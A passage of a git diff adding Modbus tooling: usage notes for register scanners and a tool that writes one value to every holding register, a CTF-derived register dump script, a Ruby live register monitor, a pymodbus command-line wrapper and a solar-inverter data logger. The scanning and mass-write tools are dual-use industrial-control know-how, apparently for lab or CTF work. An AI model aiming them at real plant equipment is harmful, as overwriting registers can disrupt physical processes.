goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + 